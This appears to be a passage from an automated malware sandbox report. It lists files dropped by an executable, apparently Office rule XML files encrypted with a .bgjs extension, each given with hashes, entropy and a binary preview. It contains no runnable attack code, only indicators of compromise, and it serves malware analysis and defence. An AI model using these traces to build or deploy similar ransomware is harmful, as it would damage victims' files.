Preview:	<?xml..$S.F~T.I..^.....{=.9 ..\...{.N...=5?t..S{.5.1....\|....o. ..w.:..Ml.>.5..,.~..#.!..'0BB....3..H.......A.;.S..J..(..'......{...y....O.....0...A.,..l;.a{<X;..A..J..Cx.H.p-.\|I.+.......K.6r..).!.....7...Y..L....G.Lb..OX....B..A.]"..]A...`...;.S.q.}.;..$..Q.R.......{...Q.k.^wpxZ...t......zb...'..$.(."... .s..(._..A.m-...1..+.N..?1..qT..b..U.."x4..7......d..;.-.............g..Wv<C.u.8.......D.;.....FM...x....&.?s..<$..s..>>......{.II.Mv......G..'....U{..........2)...t.C...9c..#B.".q.X..@X.".C$...y..f&I.V.[U..l'..ub1~&0....J.E....vrFHr..O..I...}:.............r.....d...~..w$.-KF....7t.6..3.".....d."-..V"..Q........[x.....`Z ....g.J......U...1U6.(.s...:.....\|.....Q._3...7....R.#.^...@...mf_p@....d..U).v8+zp2...7.]..<.K...u..+...1.xk...(.(1..K..vNt..:S.c7...d.zhI<nvMB.ny~.....xW..T8../%FT.....g.).gRV0..c+"......A....E0.U...3.8..X.*..!e.s.b....:....g.\.Ie8..m.t..-..`w...P>....=..x<c..]._.#. .)...EY..CD.+.......'.CR=...r. ....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964220459803594
Encrypted:	false
SSDEEP:	96:R0zJufT7kPi3tqqIBwyh0FSMDv6ghdMlum4gF6LILM/:RKuf0AtqFwq83DCgvLIg
MD5:	7BA1B2ADD9BF33719C44F29724CF30D3
SHA1:	323272B7A5B1742C1AE26C0F64853D9E2D6D7491
SHA-256:	FBC8651BAA2B59327C88200B5A136C4DFD05802F2437BA486F52CB64A79B1757
SHA-512:	7A82042D424B45F25EF0EAE9A4C2A7871CA43E3DCC0A0FFCD0FC2B9AD69E0BC25DB88B76499BC8909455805B62B5E3E0EAF4C805244B1D4ED975E2170E27D2ED
Malicious:	false
Preview:	<?xml.L.T.6H..>.....f+...Jc.._t...........7n.......Qa..H..N..!.\|X......Mh,.{.{.hR......). .OAL0.F...`}9..z..Aw]v.1...,>=..i.Q..`{...`.../G..g.E....~.C...~K..y..e/..f.]6.N{EE./.RW,....-.C...w........h.....uFH..:S.R.b.qJ..ME.r.....2=......@.vi~U.&.+.......Y..4+n.::.p ...J.X"..'>.0'.ol^.Q.K....x;..%s{9.....'4P.(..w2}.#.UM.A.,D..7....l.7.......ga......4.-[.~M.O&z..E........VY.n%... ..u2?].a.r..5..2L.p.hn...Ed:q...~..:..T.~1.R..I.&..vP>...1...:...]F..m.@..4.DS..a.+.*..R.c.}ab..5.x.T...D\|E.....]fINy.$.......R...sy.!......pF.G..6.........i.u7..S...PV4....j .._....}...6F.....]o./.'.R..?D.U,.!i.....A..QZ.frd.xU.].S...Tk.e../T_..J........a.TE.?.a.IC..g\|.I...;5.6JN2...hm.S.;... hQ.$...M$=b..ZP....x..\..u.....6.M..ZW.m...w.w6...dL.~..-...t.#M".5.x.g....v0.j.ele.^..J.R6..j.....U,:.\|..&3...4.........I...~p!..........<PXx8Vz...!.D..O..x.I=.........h/W.......Q... .f...h.;..z.].....\nS0xK7h.....i.K.`..........I.%..........y?...n.w....wU.~\|.Q..D....2\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.973547835103749
Encrypted:	false
SSDEEP:	192:n+6YvCEU+qX483kqL9vsPJW2Y5RZagxeqEytml2o+zzsZaDu:nuvCZX4RQ56JWDRZanqEytLLzzsZai
MD5:	7E8AF3A3F430F12923CFAAA8B982FD2F
SHA1:	AEA7ECAC248F3219924CB281FF837CB377D1EBF3
SHA-256:	E3F500F845B8E2E59F56F0CA3BCC6615F339BA390910B8F33E030332BB25B7BE
SHA-512:	AC7A36F0DECAE5132D6FF448A9E1C64AABD89C3A1E8CF99108E615D70BFE83462D4AF7B605EE22A52B27A70E435CC63366FAA1DFFC2B153AB16ABF4DA434FC9E
Malicious:	false
Preview:	<?xml.\.!..........F.`...............1T...}-LNJv.P...H...6l.9.l...N{....x.......-).p...96.f.....u-....\|..qEL..;.....B..U.0.A.T.....!.vR.a>..D'.fA~.RF/rB"Q.'.o.9.4."..k....OB.Pp...>y...........{1A...=`.....aK.dS...:.....w.y.Y4j+6.[.......aZ.z. ..d.#...P...A....~..Lz.5Z"l..Qv..2....hT.1..`..'........Lx4s..(.=&.U.?....bX.'..E".[..P.e.f8.s<....do.Wn,.&@.........."..W...U..'..k.....S'...%.x..7...."...fxC.Y.b.f..6A.i.!.%]./,...^R.?..{..$NP..4.P1.....A.......?6W..(D..c.Op....IX.Bi....U.K..;.M.>(G\N.....8-.t4./..6.ms.G..,.S/.....(w....jH..V+#.gxA..1..5....,=.1...l....!..Z.....<.82..H.....Y..'..1h..1..c.s+.B0.z.\..F.X..\..R.:..6`0.....E.W.........n.il..B..L.zLA.q.B8`..r.....@...C...ta}@..qk.y.i/...T.N.F..;.r.`.......D..\|....=...%l<.N....v.ms..@.......z%..O.q.Q......'.x.H........:I`.R.4wW.t.G.y...P...:.<..%..o..f0.l.qZ..\..}#..]C...........UHu......%...Y.{..n..'...a.....!..M.Dk.b4G.T......fy.~G.F.@.F...Z...N.H.S.=.c.!.aTO%m........J1w3.._...7.....M.S..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.973930858313318
Encrypted:	false
SSDEEP:	192:WnCdA7ohPWezdk5L4k11xdgzUOzZcCLD52ZVxY:WCdYAPk5LL1NOLD52ZTY
MD5:	5E6104F91F54ADFB1004EA0269B4759B
SHA1:	8899ED0523C28BBA9DF630DBBD99C8487F8963CA
SHA-256:	7628AD52E8A58EE27E14978A51B8D51B88B5AC2415A3AFAE478856F82BE9BC39
SHA-512:	47674F33D18426946F383E775C25126124B4B9AC3258A89A64B9E6B77BECB789D0AD5C8AD3680A6D52F789D78E715DDDB702492A559ABC80E423E53CD6A635DC
Malicious:	false
Preview:	<?xml.5...@....>~.~.......hY..$TK.......V..q..~3..?..zm.[.F....{.\|. e.....P..b...we...N.~;..(.f..r..Qa... >....%<.5.m...AsP:.5 .4=.I.x..Z....$..i=.....^..r.Y......U;.i.^...8.....m....../LV...".6W}.K...(...9Y.<X.$.\|.....m.~d...?...Z..#...E......Y...8J....U.I..-_....@.v.i14..xO...../...P...u6o......Xs.O...,..9s$..d..o....8.L...x...{.z....!:.}."a.y.#F.6........O^..XJ...Y...r.\..K.=l.P.~}y...2....I.j....fn=...s..6H..w8...A..TG2,.[.J4.NQ.5.e....=Jk..o...W.0.....G..YD..]DrZ3..p:....w.o...9-..iK.._..U'......;48......myie.bH.../.f ..V..A....T.......P .......di....\...v..:...^q....8.m.fM......9.N.....,.s.......8..^Q........J..L..".......#..@.g...l........$......."..R7..P.....'...p.....\|.P....C...{... `...X.\...X.U....x.x.ZD.......2..8.y.l.\.<.(../.. .{.G(,.:HB@.1h".......8oAT.L.wD..~....!......0. .wd.D...D.....&..=......).H...N..Ai.>y..../?.....[.[.)...n.C...-8.....,W..4Gb.w...c..//Q......83..D.u^..c... ..<.6.....P+....S.6..S`..y.:.?.{!N.....$S..\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.87162099221248
Encrypted:	false
SSDEEP:	48:dP/pBP6+bC9/yrekVvjYtXon+xB8syI6ss9DMD:d3bPnbC4jGKacI6h98
MD5:	3333B7A0C03E03D9F1068652FEF621C2
SHA1:	61B168FD1DC796222A32B06BD1611C45F1CD88EC
SHA-256:	DEB64CC9631787A61E4F985414922D3FB40F82DBF7C67D388629453984E4CFF0
SHA-512:	89C549DDB71A352B695E0CBD40327C3DAA0D4791BB669DC78880E08A31DC9D412CCA07DFE5B4F888B729E9583E2FB75C524F17A820BDEA99FD133681A87B0F9F
Malicious:	false
Preview:	<?xmln......O.lP.X.\|...3.4q.\..:8.`.P.L.....Z..u....6v.LD... .lX..H..3lD$....w L...Z.0...G.(.`s..$..Y.f...~9.?A..t..U...WZ..T....;..}...]F.1.a...s...........n.4.7'../..!...'.og(r.d.0.cW..u......w..;4.)...>J..2....._.......v.O.!.{.4.....w.Wj$g.9.......!!L....z..'....-."....4.0w.Ed...9^.[g$.t:..u..5.m<.a.&^%.V...e...BA..I.HqD.NL.....M.....~....$r..z.t}.{...:..3T.;J..eX.Jd.......MW]>.o..V=...]M.0....".B.a...5W..8>r.oI&.y.`e.....0:.K....".@.e........qNV.#%....p....@JH.I.l.B....o.^p...D....;%.t_?]...~.... T\|...V#..s(.y.%.........k.....1...j<..]:<.BY.9`.8.x>...{B.T.+gN........)x.....1'..r..7.&Q#.......Z.%Kp.1....H..V.r.t.Lg+.H..P2..d...6. .3...zb.K.rS..d$\|I.m.{. .9.h.....G...J?W.9....Q<.)[.[...FN.#..>.$.{"........B.Q.~......$.....e..,..ZK .n.D/...{8.mA...{6jY..wB).......T"..m..p.?.....T...Q2...2...X7....8.)+.5...L.U.I.../....8....*.x.(tW..B...jr.......o"..m{.FZ.2..,..Ik.I...]...-b.y.K....."..3...V...v.....l...".".0o..n.....s.PR$.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.90039363423078
Encrypted:	false
SSDEEP:	48:C5xNTcHpB1R11IyTQWaNO7r5ulo5R0UvMN+D:C3qdf1XTP7tmoz0Uvx
MD5:	AB2554C6EE1641EE2BE1F0A7EBA3FD34
SHA1:	7062F8096C02A5CC071397CBC582C4499209FCC5
SHA-256:	0371927B1AFAE6A51E534CCE49FE4F7D08CA00D90718266FE5474D0E6C267F27
SHA-512:	0930B299FAB2DD713ED202F1F47A0D9A60A0EB23212A460B5A0EF9B14A8E47673AB5881099E36E035B9D28D29E5C6CCD8E25EEC3D30ABECDCBF7B37D1C712F2C
Malicious:	false
Preview:	<?xml&.....K.Q....C.....n.p,...ud...d.W..(a.~.,:.x\_F..I.M..J-^i.K4..m.U.....="..zP....~.[..v.....-74.QL.....g.....(...U..~.q.... O5.`Q...c..].....85:.j..PqL.......i.sZ...j...\|....:....."..h#.....n.I..w.;KT....f......-z..+.1.t.6.D9#.!.....E.H.I..v.CYo...k..ky..tm.#u.&.`.M..D.......z...jy..[..:.)i....+..M..lU;....sm{.&..W.?h.g..y.&$.....T_..Q..........@P{.`.HQ;......-.-36khr..$.5.~uf.t...~......7.}......<`.R.EOm.Hm.Sb........?..Rn...f7t...\|4C.E........YkJ7..~Y.I....z3T.\|..[..:.o.W........R....iw.0 ...:.?....8uB".PG..........=.B..Q+..Kr.S. ...=..D....}u..4...2.G/.Vl.....K.........+.5.......a4.g7.H....&..f.x/.N)..../I.E?a..TPM.t.........E(....n.4..K..........A.=.+wmQ...L.o..7..Q....NRx..,._a<D.d...V..u...........(.9G.z.Y........S.B1.M..J...D]=.w8i..0..\...X4U...xZ..Unb..Au>s..d..'I.0.R....5V.....K...<@..".n`.p.A7E..\|.. l...1.^K.;Q.=..j=.70..h.........5x\t?3).!.2/....B...9.!:c.yAo.Q.9...D.~x.....(G3......P.-....>E.=.0....4

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.885633747696022
Encrypted:	false
SSDEEP:	24:fOCo5WeOoddbyg1DCRa3YkJI4Hg0cBngPaBK9oD4B6pe/Nt8eRgG/qKD43Iw1ViX:fOFoefdFcshFA0QZ89UQ6E//7/FsF1KD
MD5:	482B72B2CF2C64383C47C2A429021E8F
SHA1:	0C0570A712306E0F5B4EF785C7544D5BA81FDE6E
SHA-256:	2C304DBC2B01F2B2F6B936B1367D5E988067543349E11E5391EE569A95DBCD53
SHA-512:	644E061A2D5A96E7C1433359D83DC1FB6D14E0AACF8A387C8D0A9F19907C00FE5C50533AC80442B7A70962F7CA58CBE2506E40A15E72E8F25F81F4CBA8887045
Malicious:	false
Preview:	<?xml.f[..`...W....l..d.Z....Z..c...4.Q...8.[..en..3.n..$....g...U(4L.o...~..M.F=._e%%..zly). k3.iSG^..7...Q..8y..VDU...2.0'...h..xtw......%i3.}.3.Q..t^l+.....'W.`. .GC.Azbf..n.J...a..\...E\....~-..D."7...n....;=.z/..3......V^4..3.5....(of..............E.3W.=.g...EZ..K....@ ..B/}..Mg.$..9/....I\.r..j.5@cE.70P-..g.d.......u.4.[.>....w..f......^t.o....."...oR#fv.......E.bK.9.(..@.89....qg-...._..2..{..8O..}DYR.....6\|Ea...6....O>.by....J.r..\|{.X....e.....W..Hm..>e..U.r(.V$f...:..[KO...kt.n...\....k...&.....3.y...9.}...?..ho.r.Z.y;...Z..K...VQn1.^9..T.o..\|4..:....'.Z.4...dFN_..w..nvi....u..@.7...`.V..IB..q.^d=..g]..`...c..P..Uj.m-w.4...K..U....n5....P5/+`.k..&x.~CQT......@.. ......./[.}....Q.I.w.T....{.....>...N....6T&A<...u......-+.U0_x.-.o...y6S.~(.3..l.u\..6..`..A.'.fb..ca..Gz...&.E..@.[t..-..e.r.r..%.t....].wm6d."...u........Q2..P....#..g'1..c. ..&.@.8..."q.H...u.Nm...J.L.>C....=i.!...I....T......u....BI ..:R{75...e....y..9C....?.;..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.868274180450713
Encrypted:	false
SSDEEP:	24:/PBU2mJOpfZ/yVYno8yXShdiTcopDLXHcRoGqGJPlcxLgJRk2VvdHbD:hUCtyVJXShdKrDLXHc1qGNl1zTVvd7D
MD5:	A607893DEAA9FCDF88F0345911CDAD13
SHA1:	3D69D0A016FB84C0215683D8134B320C192B5319
SHA-256:	CE3DE5EE23192A373011EEDD2D9570DCA87CD6C06B939CBD17878B5E96C8E52D
SHA-512:	35F2CC465413C2A160A45DAD5CD2E0C37D16750306E5330540E0206BDCC5654AA0B72DF9577080506DB1415158B9F74E9C2C692D6EB8207E2D867B6F4ACC5C43
Malicious:	false
Preview:	<?xml....r..{./.......Uo.......O7.@..&.0.Wk.C,..QB./..S..L.2.c5Lm@#6.#$.P..].\|....+?....].U/#K.4...>l....Q.a...w.,.fw~.N.q....[6m..nQ.....'.....@ ...H..Dz............h.S.w.T....e}....`.\..S...cy,.`..Z......6^.`;.>5...&.q*......~\|..........~.g...a.kF.."..q=..~...1..6...c..RY..f..0b...\.t.\3..>5?.>..._.B.F\...!...z.A.t.k...f..,.0.z..........[jeF..=.Nfo...+k.BJ...K...[.m.>....q.......-f...p.).m..zN.. .......no..~B.p.$...l.V....#.A. ..`...Q.9^Y{.._....V$.i.T......s..e.A.k..!...,....O.N.a.U. .s.w..b.....<.....]{a.[ ...P.Q6..4rC..:)H..u..4E..]..rK_.}..J}d...g.V.DL...#j..>..9#9kX............ .B^..{D7b...h.h.qG8H......u.u......V!.t......(".mV.3..T9..'.........D..bs.6.}.+.c.....0.?.kN....!.................?..f.D$,..w}..\...8..]+...f....F.X....(c.N...x.....W..2.^.."sy/.Qv.>l...Yk.R...7.......G4X#.0.(.It..GGm....s...E....2.....8........{.z..5T0Q.B..P..Aj..c..0.!..]....X...h....R..o...o..j8...&...6.....~~...&..[...x5;.d..T...<..2....'....h.y.E.l.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.855362216514586
Encrypted:	false
SSDEEP:	24:GoVjSZ4UFZLvU036cojTWq/IFLmwUy7xhgl0M4CSAfUP9e71YgOVVsf4YbD:GNFZzUK6crqgFLmCxGl0MgA8FLVVA4CD
MD5:	4422F7034CB53E599673E26558BEA5ED
SHA1:	52234DEDD39053EDBD051C5E2E5B653CE7BF951A
SHA-256:	53F25486452159EF46C64D684E2F9051CFB07F9A49AE1D8BB99B258AAFE205CE
SHA-512:	720A2EC6959F0C9E7981FED591E5F572B036E084BBF743C561A623CC7DE083203583DC9F1EA9114E3370062C5774D1D4E1F025068ADFAD6227FFBD3324AD3D1F
Malicious:	false
Preview:	<?xmln..F.\|....'.S.....s........Vu.....w...U..kDsW.1o.y.Z.0_r@..K..He....k..\b.c....!]..=Z#u.....w.0G.A.<.).Wh...QS,C.C..>..\|Z4."(m........`.k=P{1.g.D. .... u....]....<....v<.+P..Y..T..C.h^...^D......~d..Iq.NMu..._..].\|.5.P.PI9&.W...)<n..x..B.n<7..p........W[....a..%.n.K.>!.-.Ds.C./...b...]B=gL/....x..A.J.....7..X}.X.....H.p..t......t..10%...Hf.".2..!..U.vm.oH..E....I...Fu...d/$y!.E.....'N.$.u.n....DuKy..Q._....95.K...g"K........Q.T.~e...wC...I....r...b..).....n.:.........c..]$...<.../.@.>aB....B.4=.....c...i2e^.%K.+...'..+....k....^..\y....-.. ..K.n..0.:...Ju+......#m6......V.s....&R....\|".$.%..H@..+....s8 ....RUvqB.J.'...6M7<.r..P5.....Z..ei..a.....x9..5.V.zR.y.[e.X5...<N.n..@.u.c..v.YCD.K.....W.\|.4........3..r?....]sz.v.....!.J2H...=t...NK..."...El..I.i^...Dm"Kf.sM9..p..`.....*x...._jD=..T...`P......qr...H_..]=........6y..8D...O....S9N..[.....,...g'.&d=..l..7 .V..m..wd..c.i-.).....PyfO....G.m....f>R.nY....H...'..[.......Df."E."

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.88687569920799
Encrypted:	false
SSDEEP:	24:HhaFCwTWPjFxmbJZQgu162A2WmGtVue/NXoIi0nyoOPc/mdycfzSuXSgcuBmbD:BaFAjGQw2A2B5EZo44/B0D
MD5:	58C2AB46AF0BD5914524CBA767DDB45F
SHA1:	DBE27CDD2CD37471FCD433A54E4F1E3502A67AC7
SHA-256:	11427E821DACC77B8CD172D132C0425789C6A8C950957639510F4BFB52DC0678
SHA-512:	EE6737F577A6BE5307A3FB36F47DE12ABA7EF171F12C40B855467DAF4C348BAB6C4ABDAA02AFB062EAE6B15646FD62154E907896FA371FC2B5C5BCAE2CBDD8C3
Malicious:	false
Preview:	<?xml?....r..h!....;. .DF.^....d.I..XI.y.....H.P.......K...'..b....Pulq..a.r..K..$=8=$..p=./.R.I.5..y.Rd..hV._.$..D.].N.w.6,....'... ......z$.;m...l...4.&..%d[R.r.^"....n.h ...B....U.Z.......=.V$.c\|K..5v..sd.j.F...@=hr....>..o......~.\..e..A<i1.......I(...~..Qa..W.<...;_..x+g.\|..<..?..-?....................7O.`I..]V.@.3b..y..&...;...9.;...s..=?.da.B.....$.M....pCx........JL.^..G..Y....+j(..T..H..#-.[.%<..m....U"&O.......9...:....[......s.O....+.T.......iL5I..(.......p!.a#..i...q.(V....UD5;".$........H.......I..V.?.h%%.CS.Q/.X/.e.;v..^t=..O._L.p..8.Y....M&.v....}K......ol6.......o..p.....<04X2p..j.....?.8`.H.f... [S.\|.[l.K.2.D....#.0.P.-X/8...;e...2.Wlp....q.Y...^....P:/S......aF!..V..)~...0...Fd._[.j=CY.n..<......Z.....V...}.nV."..TAKj.`o?..]&[.g><LJ.&..W~.HFU.c."..E.......r...'...k...q.n..5..~(..;.....oO......^=..@DD:....y..e....d1..`.w.m'.q.fewD7....J1....CN...U..m..=.-.S. e..G5b..s.....c.R..f.1..p*S..Y...5..N...e(..."......X....O:.....r9.Tn>

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.755517209655416
Encrypted:	false
SSDEEP:	24:ho66OIOXeo5NwnJfObUN6KbM9MRytRr4+i3K5sbD:h+Oj55NOJlVMugvE+iMmD
MD5:	B974324281B030AABBB42B7E215B5CEB
SHA1:	3231BE2A933D5B413B041B0B9BA1F41EFC235D93
SHA-256:	CC93F611051C5A92A949B48DA29F7D68FF6D7A92D255D372D77F43BE03A65682
SHA-512:	72A1256513625C8F65A516B4D7F0BFBD85DC36FBE24A23E5FB2B1D93D7946D1E846710C292BB2684065DD7D59F94147D14DB5CF2EF938129683FE2DE73E0C9A1
Malicious:	false
Preview:	<?xml.......H{NB.....l.......h..cu..&^..5\..e_.>...gV........'ee..,../.Y..J9..%V.v..\|.-..#..V.....c....Z.!..Z......E= 3yF..H....RJ..2`.'gQ.8.o.....c.A...."Cu....Js.a&s. xw..X...\.....PP[.y8.7.e..4...s1s.B.K./13...{..l...[.h...KL...."..m.deBy.iJb..(......z.S..s.}.K0....".r..?..H.{\|.;...v..X.h....y..=_!...m..~..[...qB]......^...:...jD...e.P#......u....c{.;<C.(...Dd.{.(.l.....$..{..........Z_Q."2...<.....q.....CShUos....#.a..X./r.6W...@R.F..'..5....2.@~..m..^%.......z.'.....x.b.u.".6'...C...;.....K%...J/Wl...+uqk.S......j.d<......DFx.X.R..[...#....9.@.....+...b+..p#.[~..3=.G.w.*.x.l.k%uN..y..LDSz......h).../...V.-.F.T...t....K..Drm./.@.C..T.e9%.E...x...#..w..q.........~'..).....u...&m...1...Z......W..z"M...k.]....X...'lknxC......d"u.nO..X./;...`..6.Z...].!{. .k.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.945378444718924
Encrypted:	false
SSDEEP:	96:AYXhhalmoWMjQj23BbGEQI1b07roamrcfO:tL2RTV3wyW7rPO
MD5:	B676617EBE1FC000710887872DE30E8D
SHA1:	A2DE668A5BEA8373374F9433E266E5A2A623FD3B
SHA-256:	8AD379E298CBA1C70D2F6D13A4C15A778DA521936C833CD7A9F84737DE00C959
SHA-512:	B92AB079053182CA74375A0D8C8FA530E9D19E37A22FB034AC5B4F64287481A5BDBD1D32F465C31D4E75A23115BD41CEDEB8315477EDE4CE0B95CA42553468F6
Malicious:	false
Preview:	<?xml....}tu...N3B.2.o.N.>o.4.......5......;...dI..]...!....)/..(o...G.er..uI....#@+l...h...Q\G.y..M.........s6u..`q.9..+....O.Gs...bX...2S..b....\....~=>f=T..X.;s......@.f..JHq....W..L/...^.$.io...`.`.4...k....Y........<...P1._.z.o..`Ob..5.....jX...y$3.5 .......F..N..v..Q.l...[.. ..vI....\T.....0.%09+.ICc.....Y-.GL."...d..4.:...,...h.0M....{.1..03F........#.`.{."..HR..o^.:K..."o......,X.!g4.....5p..t.....PtF.#.5....-.......j..cg.bap.)....JF"...""<`..+...}@.F...V.[.3.V5.<...R^.....p.9...s..8.4....f..ig........o...B....\.9..U.4@2.W.lX].7...b.....1Z&]....b..2......S.+..3Y.zlb...Y.....0..U^Kf.{.C.9#fF.:6.N...Z.K.v&b.P.....^.7.g..Q.rg...o[u7t....Z.\|`....ye...3...i...,...1_.D..i...I.PsA......4..[.h....r.0...'......?.a...3 q6^..Ma..Y.+....".e.V......zIC..;.%k....(..78.\R.4..5.w.Xf}Ccc....p.[Wl..~o.G.Y21#.$..Fb9.p..~X?.9......U...&}..1_../.#....L.V]..".%.3..m*..E#.......R.i..hg..pc.E..p.r.4.......&...;.}.O~}..J.1..4...{a.;+\|P.....A.......;

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.942485031257022
Encrypted:	false
SSDEEP:	96:jgE26DjXym/mu+2iZ5N2Q+99UYvdtudoGrildMb:0EpDjCm/CN5N2QOvDAr+ub
MD5:	7E89255005C29BD7D3A7DDCA8A975A45
SHA1:	E5DB7DDFCD192789EAFDCD1B95721EE58430F8EA
SHA-256:	404252BCD58EAD932462FEAA167F67580AB68D0EDCE8237608EB0E0ADF9A18BB
SHA-512:	66D2756C66CA69F224BBE3FE2ECA1F5E75943D153C62DDF7219C529DA6FBF584E3F4B0722317A9CB2CB69EB0C4DD803B80147285D445988A97FE3681786ADFB4
Malicious:	false
Preview:	<?xml...a.(......I..q..W....&Q..@...r...;ufB.aQ...]..g-`..g..8&.By..m..uh3..{<KC.,;XB.........vG2...y0....(..}....d.?.....6.29.....dL...v.b..H...\|....{...x/../9......a...}...{..H...~.......r....`..s...H.....S.A..[.Z.s ...Sl&.}.XG.x8=..'.f....Mt.8..o".k..(Z...E5M.m.....h.S.~...T...\|./.sH ..&X>Rkz...._E-...g.n6JK.n.?,..X.T...dKJ.0K..w/4=.c..I.]...........y..l.5.GB....`.ZJ=p7.^..E.8.....c.w..Cq...;.-3.U~=ED?.:..`KH.."...s..A. n...oE.M.u.Db.~.:.....Y.2.2J..3.Z.&..I.V..B..I...J.].)."}..b.'n.WO..`a....e.a>.K4.....XB).X...%.,e...4...I.8w+.=Q.. .5.z..,YQ>.]n)....bC.rD6N..i........f..+......&.{..aA..l...0.z.qi$.-..9....lx.......@.p.NQ....L.<.Ql..#<-.j8.-.),8......z..I:..<........n....8Q.GD..-......:..G7..b..a.....c....v.D....TQ....;..)....JA..WIe.q.....<..Q.w.Dn......]-..C...\|*p.T.WT.07.a.F.A@..'./ ..'...f.<;Q....R.-...2ls..S.....4.R......z.~.1.U...#j.Qm}LD.......DtN.[.].....c..G.../...%.........&B..]T....m'.+.r...4.4..$."U....a.O.Q...".Wr..j..[P....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.708079310853178
Encrypted:	false
SSDEEP:	12:CphY2Xt9k401B8lrIFHiwJVSsB+iUTLiYX2BsNAOmy1w3nspcPkMo1+cii9a:CpO+0Ip6isFYNL1ssAOmL3nIcPxbD
MD5:	6202C7158287A56CA5A11A6CFD8309BC
SHA1:	DACC84D75DB6278185CC075AE419BE0493B920A1
SHA-256:	5DB26ECA1DA225DA5615AFDF82FC6A273F3E4EA67DAFC4815E8BC1D8971CD6FD
SHA-512:	9149F1B2CF206B040B9AF18D8A0D88FD6502A631D44DA9E735DC467093FA097314BFE1BFC99FAA25536A0AB483AD2EC7C1A59DCD14B178A40D296B0BA2AEB472
Malicious:	false
Preview:	<?xml..JH$)....#Z.!a..#......M..FQ.X.&&..9.....x.z.8q.#kUy{.;(......!S..E@......rK.....[yS.....-...a........X......S..5...=....qYS..YT.mr.4..F...8.1.+..x..........j!..0.<v....'.M#.t.#.....UDa!..NI........]..O....~....s.6ig..>.WI.. J.A.......<.)S..[h!+fC..X..2..*;...%.g....5......./c.5.j...>P..r.(...j....]?H4A./a.ak>5....P.Vww.P4L.'.d..+..jI....0#....7HY..e..Y....;.O.P..5r....=.#.C..P.+..ya.....sV}.....5.^.lc..Y..Ci...7.nI.....38..r.%..R;yb..y,~m.Ng..h....oUh%...p--.l2..qm@..#.....xZ.[2..F....]}...z.0.;.q.,..gn...).0.".I...c.gZ....`..........HL<......G\.+2...%n.D)...s + ...T.NIm.H.5_.z.~..O...%.?p.h..K...TA.......\|f..8'&SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.88146481026136
Encrypted:	false
SSDEEP:	24:yqqxP6+cyvPm9uVPR8d/t15/Vo8fVrzQXOTp0Hlc8jVe6HB24eVoTBQ/qCzgDbAD:y/+9Jt1hVo8fJQTS8BJh24eEC/qfsD
MD5:	BB2DFA19442634721AD465BC8406A10F
SHA1:	61CB67CD3E3151EC3E3BD9CC91246DAA2CBFA707
SHA-256:	D533D0A8C50E9B4460C16E6292ED3B1101A83E8071EE729211A88D258283034E
SHA-512:	0D5C63E7B1FB0AEA1BB870530B6A28326FD370BA74981A162C1C37BE583B397A33307FFEA451AB5F0FF14A23ED0902E34A7BB7F191A0CB5D76BFFB371071C95A
Malicious:	false
